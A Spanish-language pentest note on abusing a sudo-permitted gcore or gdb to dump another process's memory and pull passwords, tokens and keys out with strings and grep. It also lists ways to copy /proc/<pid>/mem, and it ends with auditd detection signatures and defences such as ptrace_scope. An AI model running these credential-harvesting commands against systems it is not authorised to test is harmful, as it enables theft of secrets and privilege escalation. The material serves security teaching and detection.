Process memory dump with gcore

gcore es una utilidad de GDB que genera un core dump (una instantánea de la memoria) de un proceso en ejecución, sin detenerlo. Es legítima para depurar, pero si podemos lanzarla contra un proceso ajeno (sobre todo uno de root), obtenemos un fichero con todo lo que ese proceso guarda en memoria: cadenas, buffers y, muy a menudo, secretos en claro (contraseñas, tokens, claves).

El vector típico es un sudo mal puesto. Si sudo -l muestra que podemos ejecutar gcore como root, buscamos un proceso interesante y lo volcamos:

sudo -l                              # (ALL) NOPASSWD: /usr/bin/gcore
ps -faux | grep -i password          # localizar el PID objetivo (p.ej. un gestor de contraseñas)
sudo gcore -o volcado <pid>          # genera volcado.<pid>
strings volcado.<pid> | grep -i pass -A 2

strings sobre el core extrae el texto legible; filtrando por palabras como pass, secret o el nombre del servicio aparecen a menudo las credenciales que el proceso manejaba.

Variantes para volcar la memoria de un proceso ajeno:

sudo gdb -p <pid> -batch -ex 'gcore /tmp/dump'   # gdb en modo batch
cat /proc/<pid>/maps                              # rangos de memoria legibles
sudo cp /proc/<pid>/mem /tmp/mem 2>/dev/null      # copia cruda (si hay permiso)
strings -n 8 /tmp/dump* | grep -iE 'pass|secret|token|key' -A1

Por qué importa. Es una forma de robo de secretos que no depende de ningún exploit: basta poder leer la memoria de otro proceso. Lo que se obtiene (una contraseña de root, una clave de cifrado) suele permitir un su directo o reutilizarse en otros servicios, en la línea de la reutilización de credenciales.

El principio general. Cualquier capacidad de leer la memoria de un proceso ajeno expone lo que guarda en claro: gcore, gdb -p, leer /proc/<pid>/mem, o un core dump dejado en disco. No es exclusivo de gcore; es el mismo riesgo que abusar de binarios permitidos por sudo o de leer /proc/<pid>/cmdline.

Cómo detectarlo. El volcado se ejecuta en el host, así que sí deja rastro. Con auditd, la ejecución de gcore/gdb vía sudo genera un evento execve (y una entrada en /var/log/auth.log por el sudo), y el acceso a la memoria de un proceso ajeno se ve como una llamada ptrace o una lectura de /proc/<pid>/mem que una regla puede vigilar. La firma de alta fidelidad es un usuario no-root ejecutando gcore/gdb -p contra un PID que no es suyo, o el strings posterior sobre un fichero core.*. La aparición de un core dump grande en disco (FIM) y el sudo gcore en el log de auditoría son los dos eventos a correlacionar.

Defensa. No conceder gcore/gdb por sudo a usuarios no privilegiados, restringir ptrace (kernel.yama.ptrace_scope), y no mantener secretos en memoria más tiempo del necesario ni guardarlos en claro en el proceso.